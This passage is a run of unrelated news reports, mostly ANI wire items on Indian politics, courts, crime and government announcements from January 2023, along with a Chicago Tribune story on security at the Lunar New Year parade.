Sections 44 and 45 of the Prevention of MoneyLaundering Act, 2002 for the commission of an offence under Sections 3 and 70 of PMLA punishable under Section 4 of PMLA. The Trial Court judge while taking cognizance of the ED Chargesheet, said that he had gone through the complaint and the accompanying documents and there was sufficient material to proceed against the accused. Accordingly, the cognizance of the offence under Sections 3 and 70 PMLA punishable under Section 4 PMLA was taken. (ANI)
Shazia Kausar, wife of late CRPF personnel Hawaldar Naseer Ahmad, while reacting to Digvijaya Singh questioning the authenticity of the 2019 surgical strikes said that the leaders should think before coming to any conclusion. "This type of politics shouldn't happen in the country. They were brave. Their sacrifice still hurts but we are proud of them that they lost their lives in the line of serving the country, so the leaders should think before coming to any conclusion," Shazia said talking to ANI. Hawaldar Naseer Ahmad was among 40 jawans who lost their lives in the Pulwama attack on February 14 in 2019 when militants in Kashmir attacked a CRPF convoy. Striking back, on February 26, 2019, Indian Air Force fighter jets targeted an advanced terror training camp of Jaish-e-Mohammed in Pakistan's Balakot.The day after, Islamabad attempted to target Indian military installations but was thwarted by the IAF. Talking about her late husband, an emotional Shazia said, "He was brave... very brave. Only I know how my life with our two children has become after him." Congress leader Digvijaya Singh, during the party's Bharat Jodo Yatra on Monday, questioned the authenticity of the 2019 surgical strikes. "They (Centre) talk about surgical strikes and that they have killed so many of them but there is no proof," said Digvijaya Singh in his address in Jammu on Monday. Bharatiya Janata Party has alleged that the opposition party has been "blinded" by its "hate" for Prime Minister Narendra Modi and has "insulted" the armed forces while adding that such statements are made at the behest of the top leadership of Congress. However, Digvijaya Singh, today tried to put an end to the row and said: "I have got the greatest regard for the Defence forces" as the leaders marched on along with other padayatris. (ANI)
Union Minister Smriti Irani on Tuesday hosted the 11 children, conferred with the 'Pradhan Mantri Rashtriya Bal Puraskar' (PMRBP) for 2023, for lunch at the Prime Minister's Museum in the national capital. The children, representing diffrerent states, received the awards from President Droupadi Murmu at Delhi's Vigyan Bhawan on Monday. The students, in the age group of 5 to 18 years, were awarded for excellence in six categories -- Art and Culture, Bravery, Innovation, Academics, Social Service and Sports. Union Minister of State, Dr Mahendra Manjupara, was also present at the luncheon hosted for the students by Irani. The honorees, from Delhi, Kerala, Karnataka, Gujarat and other states, were visibly delighted at being invited to the luncheon and shared their journeys and experiences that got them national regonition. Speaking to ANI, Irani said it was a matter of great pride for her that 11 children from across the country were honoured by the President. "I am pleased to be among such brave and talented children here. Children from Karnataka, Kerala, Gujarat, Delhi, Jammu and Kashmir, Odisha and many more states have been recognised with this award. I am sure their unique stories and experiences will inspire our children and youth to attain great heights," she added. Minister of State Dr Manjupara said, "Only 11 such children could be awarded this year as the event had to be organised at a short notice. But in future, we hope to honour more such children for their stupendous and inspiring feats." Aditya Suresh from Kerala, who was one of the children to be conferred with the award, told ANI, "I am very fond of singing and the award was recognition of my talent. I am very happy to have received this honour and the invitation for the luncheon." (ANI)
"At about 11 am on Tuesday, two unidentified men came to the Kshetri Leikai area of the Thoubal district of Manipur. The two came in a white Mahindra XUV 300 and shot the 55-year-old Laishram Rameshwor Singh in Thoubal district," said the police statement.

On receiving of information, an immediate attempt was made to arrest the accused persons. After a hectic chase and search, the Mahindra XUV 300 used in the crime was seized and the driver of the said vehicle identified as Naorem Ricky Pointing Singh was arrested. The arrested belongs to Bishnupur of West Bengal and presently staying at Haobam in Imphal.

Police are searching for the main accused Ayekpam Keshorjit of Imphal West.

One empty case of .32 bullet is recovered from the place of the murder.

Laishram Rameshwor was rushed to Raj Medicity Hospital in Imphal. His body was later taken Jawaharlal Nehru Institute of Medical Sciences (JNIMS) Morgue for Post Mortem and other legal formalities.

Attempts to arrest the second accused are underway.

Police are trying to identify on whose instructions, L Rameshwor Singh was murdered. (ANI)
Tuesday morning in the Shahdara district of East Delhi, the health of girl students in a Delhi government school deteriorated after consuming a mid-day meal.

After eating the mid-day meal, the girls complained of stomach pain and vomiting, after which more than half a dozen girls were admitted to the hospital for treatment.

Delhi Police has received a Medico-Legal Case of 9 girl students. The Delhi police are going to register a case in the matter.

Earlier this month on January 12, children in a school in West Bengal's Birbhum experienced the horror and health implication of consuming lentils from a pan that also cooked a small snake with it.

Several students of Mandalpur Primary School in Dheka area of the Mayureshwar II block were hospitalised after consuming their midday meal provided by the government.

All the students were immediately rushed to the Rampurhat Medical College Hospital. All were later discharged.

The officials said that around 20 of the total 53 students in the school ate the mid-day meal.

The horror came to the fore after a school staff members who cooked the mid-day meal claimed that a snake was found in a container containing the lentils. (ANI)
Speaking to the media after the meeting, Shinde said that there was a discussion to strengthen and empower the sugar industry in the state.

"On behalf of Maharashtra, I'd like to thank the Minister of Cooperation Amit Shah. He has taken up the sugar industry very seriously. There should be margin money, working capital, loan restructuring and strengthening of primary agriculture societies," Shinde said.

The Chief Minister said that he expects that Maharashtra's sugar industry will benefit from the move.

"There was a positive discussion to strengthen and empower the sugar industry. We expect that Maharashtra's sugar industry and farmers will benefit from this," he said. (ANI)
Himachal Pradesh Sukhvinder Singh Sukhu on Tuesday, met Union Minister Jitendra Singh, held deliberations regarding the strengthening of agriculture, horticulture and health sector. CM Sukhu who is on a visit to Delhi stressed towards strengthening of agriculture, horticulture and the health sector by adopting modern techniques and by making the best use of science and technology, informed the government through a release on Tuesday. The Himachal CM said that the state government mulls to set up a department of nuclear medicine in one of the medical colleges of the state so that facility of radiation therapy could be provided to cancer patients saving their time and resources. "The need of the hour was to adopt the modern scientific methodology of farming instead of practising traditional methods," said the Chief Minister and urged for providing technological support for the same. He also requested for providing support to the officers of the horticulture and agriculture departments of the state besides organising orientation programmes for them, so as to enable them to be more familiar with new innovative technology. CM Sukhu requested to organise training for the farmers and horticulturists for making them acquainted with the new techniques. These new techniques will help farmers and horticulturalists in improving the quality of their produce, he said. The Chief Minister also advocated including the Chamba district under 'Aroma Mission' for the cultivation of Lavender plants and to provide technological support to the farmers for the same. Keeping in view the vulnerability of the state to earthquakes CM Sukhu requested for establishing a high-tech seismic laboratory cum data analysis centre in Kangra and Hamirpur seismic zone. Apprising the Union Minister Jitendra Singh, CM Sukhu said, "As the state was more prone to natural calamities, there was a need for setting up Doppler Radars in the two tribal districts of Kinnaur and Lahaul Spiti, besides establishing weather observatories at Hamirpur, Chamba, Nalagarh, Keylong and Kaza regions along-with a data centre in Hamirpur district in order to strengthen disaster response, analysis and dissemination of weather information." This will not only help save lives but will give timely weather information to farmers and horticulturalists of the State, he added. The Union Minister lauded the concern of Chief Minister towards Himalayan ecology and his keen interest in science and technology. He also assured of all possible support to the state government. Principal Secretary to CM, Bharat Khera, Resident Commissioner Meera Mohanty, and Principal Private Secretary to CM Vivek Bhatia were also present in the meeting. (ANI)
Union Law Minister Kiren Rijiju on Tuesday said that putting out RAW and IB inputs on appointment of judges in the High Courts in the public domain by the Supreme Court Collegium is a "matter of serious concern" and he will react to it at an appropriate time. The minister was responding to questions on some recent Supreme Court collegium resolutions while reiterating names for appointment as high court judges. "Putting secret inputs of RAW & IB (on the appointment of judges in high courts) in public is a matter of serious concern. I will react to this in an appropriate manner in time," Rijuju said. The minister's remarks have come at a time when the government and the judiciary have differences over the process of appointment of judges to the higher judiciary. The minister attended an award felicitation ceremony at Jaisalmer House here to honour the award winners of eCourts Project and also interacted with the media. The event was organised by the Department of Justice. Rijiju expressed happiness regarding the good work done by the Department of Justice and the impact it has in dispensing justice to the people. Rijiju also referred to certain statements about his remarks. "No one should make a comment on a judicial order. But, these are administrative orders and not judicial. I have seen some tweets that are making comments about NJAC is contempt. The order of the bench is totally different and this is all administrative." During the media interaction, Law Minister also raised the issue of the pendency of cases and said the total pendency is 4. 90 crore cases in the country. "Pendency in cases implies to delay in Justice. Justice delayed is justice denied." "Delivery of Justice is a crucial aspect. The only way to reduce pendency is a coordinated effort of the government and the judiciary. The pendency of a huge number of cases is a matter of concern. The pendency of cases is a major concern, technology is a major solution. We are also considering Alternate Dispute Resolution and mediation," said Rijiju. He further said that justice must be delivered at the fastest possible pace and today, around 4.90 crores cases are pending across the courts, technology enablement of courts will play a pivotal role in reducing this caseload. "The Department of Justice is constantly working in close coordination with eCommittee, Supreme Court under the guidance of CJI DY Chandrachud," Rijiju said. Recently, the Supreme Court Collegium resolved to reiterate its recommendation dated November 11, 2021, for the appointment of Saurabh Kirpal as a Judge of the Delhi High Court and stressed that it needs to be processed expeditiously. Collegium mentioned the letter of the Law Minister dated April 1, 2021 which states that though "homosexuality stands de-criminalised in India, nonetheless same-sex marriage still remains bereft of recognition either in codified statutory law or uncodified personal law in India and the candidate's "ardent involvement and passionate attachment to the cause of gay rights" would not rule out the possibility of bias and prejudice. "As regards the first objection, the two communications of R&AW do not reflect any apprehension in regard to the individual conduct or behaviour of the partner of Saurabh Kirpal having a bearing on national security. There is no reason to pre-suppose that the partner of the candidate, who is a Swiss National, would be inimically disposed to our country since the country of his origin is a friendly nation," SC Collegium clarified. "Many persons in high positions including present and past holders of constitutional offices have and had spouses who are foreign Nationals. Hence, as a matter of principle, there can be no objection to the candidature of Saurabh Kirpal on the ground that his partner is a Foreign National," SC collegium pointed out. Rijiju, who had on Sunday backed the views of a former Delhi High Court judge Justice RS Sodhi that Supreme Court has "hijacked" the Constitution by deciding to appoint judges itself, had said on Monday said that "changes are also made in an established system in view of challenges and situations" and that "judges do not face elections or scrutiny by public" and people make their assessments. Addressing an event organised by Delhi Bar Association at Tis Hazari courts here, the minister also pitched for a "robust and independent judiciary", saying if the independence of the judiciary is diluted, democracy will not be successful. "For a strong democracy in India, a robust and independent judiciary is a must. If the independence of the judiciary is diluted or its authority, dignity and honour are weakened, then democracy will not be successful," Rijiju said on Monday. He said the Indian constitution has seen several amendments in response to the emerging situation. "Sometimes some challenges appear. We are a developing nation. It is wrong to think that there could not be changes in the running system. Changes are also made in an established system in view of challenges and situations. This is the reason Indian Constitution has been amended over a hundred times," the minister said. He said people are watching the judges and people make assessments of judgment and the way they deliver justice. "After becoming judges, they don't have to face elections or scrutiny by the public...Public is watching the judges, their judgments and the way they deliver justice, and make their assessments...In this era of social media, nothing can be hidden," he said. He noted that apparent differences between the government and judiciary on an issue are portrayed as "Mahabharta" by some people and said this is "not true at all" and that debate and discussion are part of the democratic culture. Rijiju said he belongs to a political party where it is emphasised that there can be "matbhed" (differences) but not "manbhed" (acrimony). He said there are regular interactions on several issues between the government and the judiciary and there is "live contact" with discussion taking place from small to big issues. "Sometimes, you will see are there some differences, is there is coordination between the government and the judiciary. If there is no discussion or debate in democracy, what democracy is it is. If the Supreme Court has some views, the government has some views, there are differences in the views, some people present it as if there is Mahabharata between the government and the judiciary. It is not true at all," he said. "There are differences..I have come from a political party. In My party BJP it is said from very beginning that there can be 'matbhed' but there should not be 'manbhed'. We meet and there can be sometimes difference of opinion. It does not mean that we are attacking each other," he added. Rijiju, who had shared a clip of an interview of former Delhi High Court judge Justice RS Sodhi, had said on Sunday that the majority of people have "similar sane views". "Actually majority of the people have similar sane views. It's only those people who disregard the provisions of the Constitution and mandate of the people think that they are above the Constitution of India," Rijiju had said. Sharing the interview clip on Saturday, Rijiju had said elected representatives represent the interests of the people and make laws. "Our Judiciary is independent and our Constitution is Supreme," Rijiju had said. Rijiju had earlier this month written to the Chief Justice of India DY Chandrachud over the collegium system for appointments to the higher judiciary. The minister later said in a tweet that the move was a follow-up action of the direction of Supreme Court Constitution Bench while striking down the National Judicial Appointment Commission Act. He said the SC Constitution Bench had directed to restructure the Memorandum of Procedure of the collegium system. "The contents in the letter to hon'ble CJI are exactly in conformity with the observations and directions of the Supreme Court Constitution Bench. Convenient politics is not advisable, especially in the name of Judiciary. Constitution of India is supreme and nobody is above it,"the minister had said in a tweet on January 16 responding to a tweet by Delhi Chief Minister Arvind Kejriwal. "How can a govt's nominee be part of the collegium? Some people make comment without knowing the facts! The Constitution Bench of hon'ble SC itself had asked to restructure the MoP. Search-cum-Evaluation committee is envisaged for preparation of panel of eligible candidates," Rijiju had said in a tweet on January 17. (ANI)
Students from St. Therese Chinese Catholic School perform with a dragon on Jan. 29, 2023, during the Lunar New Year Parade through Chicago's Chinatown. The annual event, this year celebrating the start of the Year of the Rabbit, returned for the first time since the pandemic. (Brian Cassella / Chicago Tribune)

There will be an increased police presence at Sundays Lunar New Year Parade in Chinatown, Chicago police announced Monday, after a mass shooting left 11 people dead in a Los Angeles-area ballroom Saturday amid a weekend of new years celebrations.

While there is no actionable intelligence in Chicago, we are strengthening security for Lunar New Year celebrations in the upcoming days by increasing our visibility and presence at these events, Chicago police said in a statement.

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Parade organizers said safety is always on the top of their list. Gene Lee, founder of Chicago Chinatown Special Events Committee and organizer of the event, said police told him they would be on high alert Sunday, but he said unfortunately, that doesnt seem to be the positions of the United States as of lately.

[ Theres pain in the community: Data shows increase in anti-Asian hate crimes nationwide, but some worry Chicagos low numbers stem from lack of reporting ]

Lee also said the organizers have hired additional security.

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I wouldnt say we are pins and needles, but were all very much aware and alert, Lee said.

Sundays parade marks the first time the Lunar New Year Parade has been held since the COVID-19 pandemic hit Chicago. It starts at 1 p.m. and will take off from 24th Street and Wentworth Avenue and travel north on Wentworth toward the viewing stand on Cermak Street and Wentworth.

Tommy Wong, center, of the Hui-Ting Association, helps Kenmond Xavier Eng, 5, left, and Aryanna Eng, 6, present a gift to the lions along South Wentworth Avenue in Chinatown on Feb. 21, 2021, to celebrate the Lunar New Year. The Year of the Ox was inaugurated with lion dances throughout the neighborhood instead of the traditional parade due to the pandemic. (Brian Cassella / Chicago Tribune)

Ald. Sigcho-Lopez, 25th, said he talked with community leaders over the weekend about their safety concerns. He said community members were able to collaborate on a safety plan with their aldermen and police precinct.

We feel confident with our safety plan, and to move forward with this joyful event in a safe environment. We invite the whole city to come out, said Sigcho-Lopez.

Ald. Nicole Lee, 11th, said in a written statement, The safety of our community is my top priority and its my job as alderman to ensure we are using available resources, and demanding more when needed, to keep our community safe everyday. We deserve to enjoy this celebration of our culture and community, and we will do so with pride, just as we have for generations.

Lunar New Year celebrations kicked off in Chicago over the weekend, but celebrators said they refused to live in fear after a gunman killed 11 and injured nine others in Monterey Park, California, on Saturday night. Police have not released a motive. The suspected shooter was found dead by police in a white van in nearby Torrance a day later.

Anti-Asian hate crimes have gone up fivefold in the last three years, according to Chicago police data.
Pune Rural Police on Tuesday registered an Accident Death Report (ADR) after the bodies of 7 members of a family were fished out from a river in Daund town of Pune district. "All seven bodies have been recovered. While it is suspected that the family members died by suicide, we are looking into all possible angles in the case. However, nothing conclusive could be said till a detailed investigation is conducted," an officer of Pune Rural Police said. Police further informed that they received information on January 18 that a dead body had been found floating in the river. The sleuths sent word to the local municipal corporation and a joint search operation was launched. Of the seven bodies recovered between January 18 and 22, four were adults, police said, adding that they also found a mobile phone from the pocket of one of the deceased which helped them ascertain the identities of the victims. In the search operation that extended to Tuesday, police recovered the bodies of three more deceased family members. All were children. All bodies are recovered from the Bhima River near Pargaon village under a bridge, at a distance of 100-200 metres from each other. Police further informed that the post-mortem on all the bodies were conducted and the reports say all died from drowning. Based on the reports, police registered the ADR. The deceased family members comprised an elderly couple, their daughter and son-in-law and their children, police said. They were identified as Mohan Pawar (45), his wife Sangita Pawar (40), daughter Rani Falware (24), her husband Shyam Falware (28) and their kids aged between 3-7 years, police added. (ANI)
The Karnataka Chief Minister Basavaraj Bommai on Tuesday participated in an online meeting with Defence Minister Rajnath Singh regarding the 'Aero India 2023' that will be held in the state. The 14th edition of 'Aero India 2023' will be held at Air Force Station, Yelahanka, Bengaluru from February 13 to 17. While addressing the press, Bommai said, "I participated in a meeting with the Defence Minister Rajnath Singh and the Chiefs of Army through video conferencing. 'Aero India' which will start on February 13 is a prestigious event. Since 1996, Karnataka has been hosting it at Yalahanka. We planned a bigger show this year and more participants including delegates, heads and CEOs of aircraft companies are expected. The public can also watch this. The Prime Minister will inaugurate it. We discussed the preparations for the Aero show today in the meeting." The Bharatiya Janata Party (BJP) leader also said, "I came here (Kalaburagi) to visit Ganagapura where the Vittal Heruru statue will be inaugurated. I will also visit the Ganagapur Dattrayya temple." "I have released five crores to develop Ganagapur as the District administration has prepared a master plan. The estimated cost to build a corridor on the model of Kashi Vishwanath and Kalahasti in Ujjain is more than 60 crores in amount and 67 crores Detailed Project Report (DPR) has been prepared for the corridor. Our government will allot the fund in the upcoming budget," added the Chief Minister. Earlier on Tuesday, Rajnath Singh lauded Karnataka at the Apex Committee meeting of Aero India, saying that the state is known for its skilled manpower and robust defence manufacturing ecosystem. Rajnath Singh reviewed the preparations of the forthcoming Aero India during the apex committee meeting held in New Delhi .Rajnath Singh was given a detailed account of the arrangements of the 14th edition of Asia's largest aero show, which will be held in Bengaluru, Karnataka between February 13-17, 2023. Shri Rajnath Singh exhorted all the stakeholders to ensure fool-proof arrangements for the participants. He said, Aero India 2023 will not just be an event, but a display of the growing prowess of the defence & aerospace sector and the rise of a strong & self-reliant 'New India'. The five-day event, on the theme 'The runway to a billion opportunities', will be the largest-ever aero show organised at Air Force Station, Yelahanka in a total area of around 35,000 sqm. As on date, 731 exhibitors have registered for the event. Defence Ministers' Conclave, with the theme 'Shared Prosperity Through Enhanced Engagement in Defence (SPEED)', and a CEOs Roundtable are among the marquee events. Singh further said that Karnataka played a significant role in conducting the world's first hybrid Aero Show- Aero India-2021. "We successfully and safely conducted Aero India-2021, the world's first hybrid Aero Show, in Bengaluru. The state of Karnataka definitely had a very important role in this and I appreciate the state government for this," Singh further said. The five-day event will combine a major trade exhibition of the aerospace and defence industries as well as an aerial display by IAF. Besides global leaders and big investors in the aerospace industry, the show will also see participation by think tanks from across the world. According to the government official, Aero India will provide a unique opportunity for the exchange of information, ideas and new developments in the aviation industry. In addition to giving a fillip to the domestic aviation industry, it would further the cause of Make in India. Delegates from over 55 countries and more than 540 exhibitors participated in Aero India 2021. (ANI)
The Supreme Court on Tuesday declared Assam Rural Health Regulatory Authority Act 2004 null and void, observing that Assam Legislature not having the legislative competence to enact the Law. A bench of justices BR Gavai and BV Nagarathna said that the State Legislature has no legislative competence to enact a law in respect of modern medicine or allopathic medicine contrary to the said standards that have been determined by the Central Law. "The State Legislature has no legislative competence to enact a law which is in conflict with the law setting the standards of medical education in the context of modern medicine or allopathic medicine, which has been determined by Parliamentary Legislation as well as the Rules," the top court said "Hence, in view of the Indian Medical Council Act, 1956 and the Rules and Regulations made thereunder, the Assam Act, namely, the Assam Rural Health Regulatory Authority Act, 2004, is declared to be null and void, in view of the Assam Legislature not having the legislative competence to enact the said Law," the SC said. The court was hearing an appeal whereby the appellants have assailed the legality and correctness of the order dated October 30 2014 passed by the Division Bench of the Gauhati High Court whereby the High Court by allowing the Writ Petition struck down the Assam Rural Health Regulatory Authority Act, 2004, which was enacted by the Assam State Legislature. On September 18 2004, the Assam Legislature enacted the Assam Act to provide for the establishment of a regulatory authority in the State of Assam to register the Diploma holders in Medicine and Rural Health Care (DMRHC), to regulate their practice in medicine in rural areas and to regulate the opening of medical institutions to impart education and training for the course of Diploma in Medicine and Rural Health Care. On June 23 2005, the Director, Medical Education, State of Assam, published an advertisement in the Assam Tribune inviting applications from eligible candidates seeking admissions in the three-year course of Diploma in Medicine and Rural Health Care in the Medical Institute, Jorhat, for the session starting in the year 2005. The Indian Medical Association, Assam State Branch filed a Writ Petition before the Gauhati High Court, assailing the validity of the Assam Act and the advertisement. The High Court had struck down the Assam Act. Aggrieved by the judgment, certain persons who were admitted in the first year of the three-year Diploma Course in Medicine and Rural Health Care have preferred the present appeals. Consequent to the striking down of the Assam Act, the Assam Legislature passed the Assam Community Professional (Registration and Competency) Act, 2015 with a view to removing the basis of the judgment passed by the Division Bench of the Gauhati High Court in the writ petition and in an attempt to restore the position of the diploma holders in medicine and to give them continuity in service. The top court noted that a State Legislature which passes a law in respect of allopathic medicine or modern medicine would be subject to the provisions of the IMC Act, 1956 and the Rules and Regulations made thereunder. This would imply that no state legislature has the legislative competence to pass any law which would be contradictory to or would be in direct conflict with the IMC Act, 1956 and the Rules and Regulations made thereunder, the top court said, adding further that the standard in medical education insofar as modern medicine or allopathy is concerned, having been set by the IMC Act, 1956 and the Rules and Regulations made thereunder or by any subsequent Act in that regard, such as the Medical Council of India Act, 2019. "The State Legislature has no legislative competence to enact a law which is in conflict with the law setting the standards of medical education in the context of modern medicine or allopathic medicine, which has been determined by Parliamentary Legislation as well as the Rules," the top court said, "In other words, a State Legislature has no legislative competence to enact a law in respect of modern medicine or allopathic medicine contrary to the said standards that have been determined by the Central Law," the apex court said. The top court held that decision of the Gauhati High Court holding that the Assam Act to be null and void, is just and proper. "Consequently, the subsequent legislation, namely, the Assam Act of 2015 i.e., the Assam Community Professionals (Registration and Competency) Act, 2015, enacted pursuant to the judgment of the Gauhati High Court, is a valid piece of Legislation as it has removed the basis of the impugned judgment passed by the Gauhati High Court. The 2015 Act is also not in conflict with the IMC, Act, 1956. This is because the Central Act namely, IMC, Act, 1956 does not deal with Community Health Professionals who would practise as allopathic practitioners in the manner as they were permitted to practise under the Assam Act, in rural areas of the State of Assam," the top court observed. "Hence, by separate legislation, the Community Health Professionals have been permitted to practise as such professionals. The said legislation of 2015 is not in conflict with IMC, Act, 1956 and the rules and regulations made thereunder. Hence, the Act of 2015 is not hit by Entry 66 of List I of the Constitution and is within the legislative competence of the State Legislature under the Seventh Schedule of the Constitution," the top court said. (ANI)
The programme was organised at COB Lungpuk by Lunglei Battalion of 23 Sector Assam Rifles under the aegis of Inspector General Assam Rifles (East).

A total of 36 Students and seven teaching staff of Lungpuk Primary School attended the event.

According to Assam Rifles, the aim of the programme was to increase awareness about weapons held with Assam Rifles and to motivate young minds to join the folds of the Indian Armed Forces.

Eligibility criteria were also explained in terms of age, qualification and physical standards for joining the security forces.

There was enthusiastic participation from the students. The Assam Rifles was highly appreciated for guiding the students and teaching staff of Lungpuk Primary School, said the official statement. (ANI)
Hours after Delhi Lieutenant Governor ordered Delhi Development Authority to redevelop Signature View Apartments at Mukherji Nagar, the residents of the apartments expressed gratitude to the Delhi LG for the decision. "We, the residents of Signature View Apartments, Mukherji Nagar in North Delhi, are thankful to the Delhi LG VK Saxena, for ordering the Delhi Development Authority (DDA) to redevelop the entire apartment complex and rehabilitate the residents in the interim. A 2021-2022 study conducted by IIT Delhi at the behest of DDA had found the building to be structurally unsafe, with a recommendation to 'vacate and dismantle' the same," the Residents Welfare Association said in a press release. With this decision, the LG has offered respite to the 336 families who had been struggling to convey the threats that loom over their daily lives, to various government departments. The Signature View Apartment Complex, built during the 2007-2010 period, was allotted to the residents in 2012. Soon after starting 2012-13 only, the residents noticed the condition of the building deteriorating rapidly and began flagging their concerns to DDA officials. RWA said that the residents fear for their lives in the complex as buildings show signs of fast deterioration and chipping and falling of concrete in these high-rises are reported, which are potential life threats. Reasons for it, as indicated in the IIT Delhi study are poor construction quality, poor quality control during construction and inferior raw material used. Delhi LG has also ordered the "immediate initiation of Criminal proceedings under the relevant provisions/rules, against the contractors/builders/ construction agencies and a vigilance inquiry to identify all officers/ officials responsible for lapses/misconduct in the construction of said buildings within 15 days and initiation of subsequent criminal action against the defaulting officials accordingly." "We are grateful to the LG to have acted on our concerns and expressed clearly that the curious case of Signature View Apartments should serve as a message to all officials and contractors that no laxity, misconduct or collusion will be tolerated and that the residents of the City are supreme," the release added. The LG overruled the DDA that was inter alia, shirking its responsibility by maintaining on file that, "These allotments are not part of Social Welfare Schemes; that there is no law which makes DDA responsible for building in perpetuity, or even in the period in question or it is not the duty of DDA to maintain the buildings." He has said that "apparently, there has been no application of mind on the part of Legal Dept. of DDA and the position taken by the DDA, not only runs contrary to the very basic tenet of responsibility and empathy, essentially inherent in the functioning of any service provider - especially so, a Govt organisation but also runs in contravention of the principle of natural justice, since, the DDA had charged the consumer in the name of "Maintenance Charges for 30 years." Writing to the DDA on a file related to this matter, "Hon'ble Lt. Governor, after going through these contentions of the Legal Dept., has disagreed with the position taken by DDA. It is not right to state that DDA has no responsibility in the instant matter. Viewing all the facts available in the matter, Hon'ble Lt. Governor has taken a considered view that DDA must step in in this case in the larger public interest." The LG also directed VC DDA to draw up a redevelopment and rehabilitation plan for the complex, in consultation with the RWA. The RWA expressed that it is hopeful that the officials of the DDA will show efficiency and empathy in following the orders of the honourable LG and will pay heed to the monetary as well as the emotional loss that the residents of Signature View Apartments may end up incurring during the execution of said redevelopment. Residents in its meeting have put forward their expectation that they are adequately compensated for expenses they incurred in furnishing and improvement of flats, the rent they may have to bear till new flats are constructed and furnished, for metal trauma they are undergoing apart from their expenses in relocation for the period of redevelopment, RWA said. "We expect and request cooperation and support from DDA officials including Vice Chairman DDA and consider the LG's intervention as a blessing from the skies above," the RWA further stated. (ANI)
Border Security Force launched a mobile application for the convenience of visitors allowing them to book seats for the Retreat Ceremony Parade at JCP Attari, Amritsar, Public Relations Officer, BSF said on Tuesday. The application was launched by SL Thaosen, IPS, DG BSF today. This comes days after the BSF launched the website for the same purpose in December last year, which became functional this year. According to the PRO, the mobile app has been developed by BSF Punjab Frontier, in order to facilitate the convenience of visitors by allowing them to book seats with their mobile phone. "The app has all the features of website attari.bsf.gov.in and contains basic information like timings of the Retreat ceremony, link for the location of the place and nearby tourist places," the PRO said. Earlier on December 5 last year, Pankaj Kumar Singh, IPS former DG BSF had launched a website attari.bsf.gov.in for the public visiting the JCP Attari to witness Retreat Ceremony Parade. "The website ensures security at the venue and convenience for the audience, who can book their seats at the stadium/arena. The website is in use and more people are booking and reserving their seats at the venue," the PRO said. "In course of time, only those who have booked their seats through the website/app will be allowed to visit the stadium/arena at JCP Attari," it added. (ANI)
A Delhi Court on Tuesday allowed the extradition of Rajvinder Singh, accused in the murder case of an Australian woman. Earlier, he gave his consent for extradition. He is accused of murdering an Australian woman in Queensland in 2018. He was arrested by Delhi Police in November 2022. Additional Chief Metropolitan Magistrate Swati Sharma allowed the request of the central government for the extradition of fugitive criminal Rajvinder Singh. During the hearing, Rajvinder Singh was produced through video conferencing from the Tihar jail. The court informed him that the extradition request has been allowed. The court asked the special public prosecutor (SPP) how long it will take to extradite him. The SPP told the court that it will take 2-3 weeks to be processed. During the hearing, the court was informed by the jail authorities that he has being provided with boiled food. It was also apprised that the shifting of jail is not possible due to overcrowding in the jail. The court asked Rajvinder Singh's legal aid counsel Love Deep Gaur to be apprised if there are any specific provisions for Fugitive criminals for jail shifting. Rajvinder Singh, an accused of murdering an Australian woman in Australia in 2018. On January 10, he made a statement in the court that he is willing to go to Australia and contest the case there. His statement has been recorded before Delhi's Patiala House Court on Tuesday. He was arrested on November 25, 2022 by the Delhi Police in this matter. The court recorded the statement of Rajvinder Singh on January 13 in the presence of his counsel Love Deep Gaur. Advocate Ajay Digpaul special public prosecutor for Central Government represented the central government in the matter. Rajvinder Singh made a statement that he is willing to go to Australia. He has no objection if he is extradited. He is ready to face the trial in Australia. He is aware of the extradition proceedings and their consequences. He also said he is aware a case is pending against him in Australia. On January 7, he moved an application to give his consent to extradite him to Australia. On the way to the courtroom, Rajvinder had told the reporters, "I did not kill the woman. I want this case to be investigated by Australian police. On a question, why did he flee from Australia?" He said he was going to explain everything before the court there. On December 24, Rajvinder Singh before the Court expressed his "desire to go to Australia and contest the case there." Rajvinder Singh is accused of murdering a woman in Queensland, Australia in 2018. He is facing an extradition inquiry in India. He was arrested and produced before Patiala House Court by the Delhi police special cell on November 25. Earlier a non-bailable warrant was issued for the arrest of Rajvinder by the court. According to sources Rajvinder was in Australia for 10 years and was working as a male nurse. The woman who was allegedly killed by him was unknown to him. He has a Bsc degree. He also got Australian citizenship and he was married to a woman who is also an Australian citizen. Delhi Police special cell arrested Rajvinder an accused of killing Australian women in Queensland in 2018. The Queensland Police had offered 1 million Australian dollars the largest ever offered by the department for giving information about the accused. On November 4, 2022, vide twitter, the Australian High Commission informed the declaration of the reward of 1 million Australian Dollars on the arrest of one Rajwinder Singh, an Indian-origin Australian citizen, who had committed the gruesome murder of an Australian lady on October 21, 2018 in Queensland, Australia, and had been absconding ever since. Interpol had issued Red Corner Notice (RCN) regarding the said accused. The CBI/INTERPOL, New Delhi had got issued a non-bailable warrant, under The Extradition Act, against his name from the Patiala House Court on November 21, 2022. On November 25, based on inputs shared by CBI/INTERPOL and Australian counterparts, the accused was apprehended near GT Karnal Road and arrested by the Special Cell of Delhi Police. (ANI)
Viduthalai Chiruthaigal Katchi (VCK) to skip High Tea in Raj Bhavan on the occasion of Republic Day Celebration, announced VCK Founder Thirumavalavan while demanding to change the Governor of Tamil Nadu, RN Ravi. "We thank the Governor for the invitation to High tea on the occasion of Republic Day. We decided to skip the celebration and request once again that the Tamil Nadu Governor be changed. In the invitation for Pongal Celebration from Raj Bhavan, Tamil Nadu's name and emblem were neglected. Various Political Organizations and outfits also condemned this," read the statement from VCK founder and Lok Sabha MP from Chidambaram, Tholkappiyan Thirumavalavan. The VCK statement further said, "Governor activities often are against the constitution. We condemned this and have decided to boycott high tea in Raj Bhavan on the occasion of Republic day celebrations." A political controversy was triggered earlier this month after the governor said Tamizhagam was a more appropriate name for the state than Tamil Nadu. This remark also brought him into the line of fire of several political parties. The governor was criticized for using a name other than the one approved by the Constitution. Both words find mentioned in Tamil literature, but Tamil Nadu is being accepted and Tamizhagam is opposed. Earlier, speaking at a function held in Raj Bhavan to felicitate the organisers and volunteers of Kashi-Tamil Sangamam, Governor Ravi said, "Unfortunately in Tamil Nadu there has been a regressive politics that we are Dravidians, and by virtue of the Constitution, we have been brought together. The entire effort has been created in half a century to reinforce this narrative that we are not part of the nation, but an integral part of the nation. And even a different kind of narrative has been created. Everything applicable for the whole of the country, Tamil Nadu will say no." "It has become a habit. So many theses have been written--all false and poor fiction. This must be broken. Truth must prevail. In fact, Tamil Nadu is the land which holds the soul of Bharat. It is the identity of Bharat. In fact, Thamizhagam would be the more appropriate word to call it," the Governor said. (ANI)
